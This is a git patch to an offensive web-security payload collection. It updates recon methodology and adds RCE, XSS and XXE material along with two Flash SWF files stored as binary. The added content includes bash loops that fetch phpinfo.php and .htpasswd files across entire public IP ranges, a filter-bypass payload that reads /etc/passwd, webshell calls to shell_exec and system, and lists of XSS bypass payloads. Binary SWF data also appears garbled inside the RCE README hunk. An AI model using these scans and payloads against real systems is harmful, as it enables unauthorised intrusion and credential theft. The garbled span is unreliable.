From 14a82a14a41944c40007de497fed152e22121701 Mon Sep 17 00:00:00 2001 From: swisskyrepo Date: Tue, 20 Dec 2016 19:46:06 +0100 Subject: [PATCH] Methodo, SQL,RCE,XSS,XXE updated --- Methodology_and_enumeration.md | 70 +++++++++++-------- Remote commands execution/README.md | 5 ++ SQL injection/README.md | 2 +- Upload insecure files/Insecure Flash/xss.swf | Bin 0 -> 4852 bytes Upload insecure files/README.md | 3 - XSS injection/README.md | 29 +++++++- XSS injection/files/InsecureFlashFile.swf | Bin 0 -> 4852 bytes XXE injections/README.md | 3 +- 8 files changed, 77 insertions(+), 35 deletions(-) create mode 100644 Upload insecure files/Insecure Flash/xss.swf create mode 100644 XSS injection/files/InsecureFlashFile.swf diff --git a/Methodology_and_enumeration.md b/Methodology_and_enumeration.md index c5cf991..1d67f02 100644 --- a/Methodology_and_enumeration.md +++ b/Methodology_and_enumeration.md @@ -3,6 +3,12 @@ ## Bug Hunting Methodology * Enumerate all subdomains (only if the scope is *.domain.ext) +Using Subbrute +``` +python subbrute.py domain.example.com +``` + + Using KnockPy with Daniel Miessler’s SecLists for subdomain "/Discover/DNS" ``` git clone https://github.com/guelfoweb/knock @@ -11,6 +17,13 @@ git clone https://github.com/danielmiessler/SecLists.git knockpy domain.com -w /PATH_TO_SECLISTS/Discover/DNS/subdomains-top1mil-110000.txt ``` +Using Google Dorks +``` +site:*.domain.com -www +site:http://domain.com ext:php +site:http://domain.com filetype:pdf +``` + Using Jason Haddix's enumall Recon-ng script, ``` git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git @@ -58,7 +71,9 @@ sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv • -T4 defines the timing for the task (options are 0-5 and higher is faster) ``` -* List all the subdirectories with DirBuster or GoBuster +* List all the subdirectories and files + +Using DirBuster or GoBuster ``` ./gobuster -u http://buffered.io/ -w words.txt -t 10 -u url @@ -67,15 +82,40 @@ sudo nmap -sSV -oA OUTPUTFILE -T4 -iL INPUTFILE.csv More subdomain : ./gobuster -m dns -w subdomains.txt -u google.com -i + +gobuster -w wordlist -u URL -r -e ``` -* Explore the website +Using a script to detect all phpinfo.php files in a range of IPs (CIDR can be found with a whois) +``` +#!/bin/bash +for ipa in 98.13{6..9}.{0..255}.{0..255}; do +wget -t 1 -T 3 http://${ipa}/phpinfo.php; done & +``` + +Using a script to detect all .htpasswd files in a range of IPs +``` +#!/bin/bash +for ipa in 98.13{6..9}.{0..255}.{0..255}; do +wget -t 1 -T 3 http://${ipa}/.htpasswd; done & +``` + +* Explore the website with a proxy (ZAP/Burp Suite) ``` - Start ZAP proxy, visit the main target site and perform a Forced Browse to discover files and directories - Map technologies used with Wappalyzer and Burp Suite (or ZAP) proxy - Explore and understand available functionality, noting areas that correspond to vulnerability types ``` +* Look for Web Vulns +``` +- SQLi +- XSS +- RCE +- LFI/RFI +etc +``` + * Look for private information in GitHub repos with GitRob ``` git clone https://github.com/michenriksen/gitrob.git @@ -86,31 +126,5 @@ gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github. * Launch a Nikto scan in case you missed something - -## Google Dorks - -Google Dork to find subdomains -``` -site:*.domain.com -www -site:http://domain.com ext:php -site:http://domain.com filetype:pdf -``` - -## Scripts -Script to detect all phpinfo.php files in a range of IPs (CIDR can be found with a whois) -``` -#!/bin/bash -for ipa in 98.13{6..9}.{0..255}.{0..255}; do -wget -t 1 -T 3 http://${ipa}/phpinfo.php; done & -``` - -Script to detect all .htpasswd files in a range of IPs -``` -#!/bin/bash -for ipa in 98.13{6..9}.{0..255}.{0..255}; do -wget -t 1 -T 3 http://${ipa}/.htpasswd; done & -``` - - ## Thanks to * http://blog.it-securityguard.com/bugbounty-yahoo-phpinfo-php-disclosure-2/ \ No newline at end of file diff --git a/Remote commands execution/README.md b/Remote commands execution/README.md index 0603090..a9b66e0 100644 --- a/Remote commands execution/README.md +++ b/Remote commands execution/README.md @@ -33,6 +33,11 @@ swissky@crashlab▸ ~ ▸ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd RCE root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin + +swissky@crashlab▸ ~ ▸ $ X=$'uname\x20-a'&&$X +Linux crashlab 4.4.X-XX-generic #72-Ubuntu + +swissky@crashlab▸ ~ ▸ $ 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 G@_zv9zt++K literal 0 HcmV?d00001 diff --git a/Upload insecure files/README.md b/Upload insecure files/README.md index 798f239..83dbb45 100644 --- a/Upload insecure files/README.md +++ b/Upload insecure files/README.md @@ -9,7 +9,6 @@ Reverse Shell Touch command ``` - PHP Extension ``` .php @@ -25,7 +24,6 @@ Double extension .png.php ``` - PNG Bypass a resize - Upload the picture and use a local file inclusion ``` You can use it by specifying $_GET[0] as shell_exec and passing a $_POST[1] parameter with the shell command to execute. @@ -33,7 +31,6 @@ curl 'http://localhost/b.php?0=shell_exec' --data "1='ls'" curl 'http://localhost/test.php?0=system' --data "1='ls'" ``` - JPG Bypass a resize - Upload the picture and use a local file inclusion ``` http://localhost/test.php?c=ls diff --git a/XSS injection/README.md b/XSS injection/README.md index c391143..6a0dcd9 100644 --- a/XSS injection/README.md +++ b/XSS injection/README.md @@ -163,6 +163,13 @@ XSS in SWF Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain); IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);} IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1); + + +InsecureFlashFile.swf +location to url: InsecureFlashFile.swf?a=location&c=http://www.google.com/ +open url to new window: InsecureFlashFile.swf?a=open&c=http://www.google.com/ +http request to url: InsecureFlashFile.swf?a=get&c=http://www.google.com/ +eval js codz: InsecureFlashFile.swf?a=eval&c=alert(document.domain) ``` more payloads in ./files @@ -260,7 +267,6 @@ Bypass parenthesis for string - Firefox alert`1` ``` - Bypass onxxxx= blacklist ``` @@ -288,7 +294,7 @@ Bypass with incomplete html tag - IE/Firefox/Chrome/Safari window['alert'](0) @@ -296,6 +302,25 @@ Bypass using an alternate way to execute js ``` +Bypass ';' using another character +``` +'te' * alert('*') * 'xt'; +'te' / alert('/') / 'xt'; +'te' % alert('%') % 'xt'; +'te' - alert('-') - 'xt'; +'te' + alert('+') + 'xt'; +'te' ^ alert('^') ^ 'xt'; +'te' > alert('>') > 'xt'; +'te' < alert('<') < 'xt'; +'te' == alert('==') == 'xt'; +'te' & alert('&') & 'xt'; +'te' , alert(',') , 'xt'; +'te' | alert('|') | 'xt'; +'te' ? alert('ifelsesh') : 'xt'; +'te' in alert('in') in 'xt'; +'te' instanceof alert('instanceof') instanceof 'xt'; +``` + Bypass using Unicode ``` Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was diff --git a/XSS injection/files/InsecureFlashFile.swf b/XSS injection/files/InsecureFlashFile.swf new file mode 100644 index 0000000000000000000000000000000000000000..da8598b8fb015feffb54090af36a0b515d4d8084 GIT binary patch literal 4852 zcmZ{mXE+<|*TAWwC>}N1Qna)vYDKCxRjT%?y{TEF_K01hR*l$%)UKJ35+f*4Vpd}W zwP);^#(ev}&;P^!%X?k-eV=px&iZoBbsZ%med>=~BqRa(r8#b%>5~~hIEhI3`=dL= zC*Os80tInYZ&qImhboKq!UY*Ck{WuWMe@X14!Mg}GR@!gHm5@`6>_%ey1##m?leZ^+3Q(!BFT%>>yohH>F>UvxVRc9C3Z#r1?;|z}<*UzHoik zdqk2j>%B)dp^LtV{33Jw^$R!;T)RZAtc$YXAB-Q%d=UTVthEJE%nb{`#Fn$4c5fb6 zjI6S9a!&qWJAUOgwTeT9v<~d}2DYEnS7>YY{DKyr9Duv$YJVzarBd@27jHUo)%LHC zLVJvZVt=F7PB;2CWSb7a9IR>&#Ev~}dwj*k@rN7kS;u7DRu7#&j(u8D;9_tks0-9c zv#7C8K;H0hsqm8%pxG=_li0Ph>XVS8B%up8LW}HNkiU0(@OgN7*W}c~Q2=Vm{RH`& zFl2!+FPL^MQBs2XIE8pAwYNg&mO1u=K(t9HioMHp&U%YH$h~+Ko~!EqLQ@yF+7W}j zk*al_KbDfOf24`-{?wUz*OSP=4bg&@aAf-MZ6`cV@Bw?6l`)C97f$p^H0;9Htd_C7D-pI_dngG{*lE3KbS6qWyCJPuf?bfIe$mq6yV zwiOg;YHnF}bfVkMlkAV_^Fe{a!hnD?q+CJFc)=%buU- zuX=@wIMWho{io<^YsI<#A)pA$y&HN+65zG@&{(eUW}#V*!B&R9SeC*%sOby9yC7$4 z(A;rN3NV?2q@#bWkb@i^^mVBHkHHAD`}O62tpCmbA~6CV$8Lf)1MafO_khH>9`sK> zM&qkosZ1~xh_{%kFsMFQ>f&9jPOh5W9U)i?_LPM^LBRN zyvt3UvNLB}QRhs1R4KAbeN^cN2OWR$Y?p^u>6>9qFZVm%lwc-@w@yz3Dn`eSKmSu zNZ*D8<-+;rdTTS%SdCL0DLsUwJ7*F|T~Kt?znnekbdxK2vrePn63LbS|1DDV$nTsr z!v4Bf@EEvyTby?s@D&hDeX&BQ3wONsOwLVMq3`rxxK0dmU%caHSsa=RFUv2DZP*W^ zHrPeofV2hw>q21R=_+4ToYqL^#d_mM{vqTC0lZ@l14Y^cA`Tz(d9X=JX}Vy@ds{l+ z3yaLq44&R-X#ZEmcV0aCzp#Wv-&9x$h(!kF#Q|mz7F$wQY3qx-d;i0oTtO3~RsPBqBFebNQ0XHb=BBbM;dgyBHx9E%E#ZG3=xZ?MA zAy5#9hOkzo7-wZ6g@=PyWnENy5w>Gk#>x@$YtSZFQUh=%Uab9JPYYPPQeJO;Z6u1k zc`@u`b5=#pjcdCPxrfZ2TZd-W+PfB}mXvHCvaZOswJWdVLXfYt(v3Q`;T}=4NPYZg z$uqlTHB`;jO=6**FktsxZ~I_#)_sE5vZcf9Kw@ythyR5=vQQN1Ibh{6-zd?eqOkLd zcB)Ws-k{Lz1-;sc$5;baBVw!pTo*oel(&B>^sG)FVsK4$>Jh#^%4Sp)mL*eq#gwBR zNj{Lpr=4!3fE+92>OR7ch)9uhSRrpz^@@r-7c%(3syXgi2}Hr}K|=XL6JYke3E*cFsj)g1p- zD-zCQWU^CL-T&6`oPVco?26x&Yqbe$rFW$6QUX#7v0|QTC73J{HZ@(!6gD+6MhbsF zl7x`qj6?cydgDTR>@>P*Jj{XD+>Y10xXJa{F9~V!R}Sv5wp;v*wm)wDd#aD>M1m|Y z|G5YjiD4)H6IvTS)*ZX=$qugi6IVcF@L%EH-RrQPm?;``i9zJr$N>f&V~B$yh4+K< z7V!?*Be&1jCy)1C=blMqchjzUMoG>tRI?2(Qfvz#WJD#bG!0$Y_|#cws+tjcH!u=$ zZ+!-hqPVIeI4@u^@B*K3d8EF&I&XkfRg^c*R+l0(rPP|Ifn3n+D@AFcSgJ(@^gX4A zuvDk^nyd5XP1n0yUFCOuOj&61`UJC5%sR~k#=*eR_U)S<-Igvso}NGXzuh8Q&Tvs5 zV)|kgZQ#0fx_;qJhWLsPk>0oYm2BTGt>vsroTc(ghyXWcZ-5y0nb0t>O6I ziI(YveqFkuu2LcJ*o2IYjW0yaa6mU*Wg^1cg!jbI=Jim5B68Vp7@puQz{;nA@M1cF z*;z=fstpaxr8ZJiu1nR^JXtu17Sox)J-VW0_7-VTl8L?aiYr!U1p*gpGEDo)t16T; z;=2fj{9Re_w|`NMJ&@14R$0!ko?%>}?%6~{j)v@u5~c*HT_g5MW8OKl(M|}Ob)QG9 zj`opx%D~?z^=?d0f zuCel6U-AIybWXErT*L0nep|UYZ~m3i$^uR;(UuVj&zh}n%d_BpC%np|lMPx37I3qc zS}!k4zdg#MY8p+++z@d?dMTnz1=BYl1!}{Jr^|^nY_B_o=RV{cNxs_{b?6h2ic}J> zH)BOwCCNaO%ssdXwG7@so!Um-HVGr`cC8>)VH`>Pd&V8J&Sim}1*{h(u)v1~NtFSy*w^fl@yVyFKq~vITXV5T(7B*S>Bp|djSye;P}hZ%ES_YZl@x*@@usuJQe<{}lVnsbZ5YC18odn*zyNJk z+zQ2>VBm{M8oy@}KmQIUE0MC<->Wf7_rjhRr#$fRbkR)9RAj!tC}IF-&xR{ec8HUg>UUNsdl|9wwXG|ayk~JB$H(92g^Hj z_dDl+6v!U8{oVH|3pj7CTAaQ0`)Nc>-hc|4JPiueKlviyqG01vvR#Zy%JqXs1<9{! zVHBsq@$E9_!6sGheI*9RHa~zmr{0`^?QZ0LxLCIwWLM75j#JB)7f9;T!beE^%J*vp zndy^K-tSdo-XL_AL9KZ;T>df-^QyB^H8Q6S;1a!-FU-W8+sBe>sDs+$7bgm3R*&*8 zEY3XP4`aq1?7S2X8-D=`UO$PnZ`TLu3Tg5GI#h>b`N0uEf=Eosa9kgy$r;i2uZ#$@HXJP zUB6QhSGEREnt@4jnVxW`mz@V6YgWgdB<1Davhhl#pI9eBaowrB7k7X+U>i=jT-aWy z9a@G}Ek@<=oGzsMR{4>V4RK)VB4pEET&_CibK_IW3`c&QHW0POSDmmLdB(-3;I%S)G0MK&=l>Oi$ z3O|UCUJ_=xc@|W-NkwM@5~t z5oSMF4%G;9k%0pm?LszS`^o312sW+9F?Ln+iA>~eEt&U#OI~F@|48&A4xB)IqM;p} z&IhYMytG8_*wQEQWDP-4_uHFXIjSWIw(kpnAE7naBt`%cky6_u1=@D^KY(eO^f=e%)t!A)Xs@RQ@Gd-wZTg%)r@uU&weoQF#)+ zgr6Md#-mmv&N~U4A^Sz4oO)Vp2zvfj!?4;px`@2L63Qtyk4{I-jU z#8_l#8|~K4>J!H?5DabL=ewqZWszUnE@;^#+zdJ4ELq@8+4nPgmbxa0lT`fcXhS=H z?1b!TKoT14C|a2*)1Ztn9#m#IqDTlVMz{6b&b=3vw-+^gwq~my`U$P)0F!wSn-W~3 zPC$;?*20-&Y(?c=M8nXw6VDv7(A%|QCWFDx%H$Hx5|u9n5~e+L2_{VMc1~>49k_Z|CbYj$u}9U82OC(qtD1(jx1B8>5wkExeKMOCYmb z0BAy1y7`G7N9Bw6kbxdBqjNkOqC4$OtShr$k7>XDpB3OcS1QwV88dr%C`&t G@_zv9zt++K literal 0 HcmV?d00001 diff --git a/XXE injections/README.md b/XXE injections/README.md index 186126d..325990b 100644 --- a/XXE injections/README.md +++ b/XXE injections/README.md @@ -82,4 +82,5 @@ File stored on http://publicServer.com/parameterEntity_oob.dtd ## Thanks to -* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing \ No newline at end of file +* https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing +* http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html \ No newline at end of file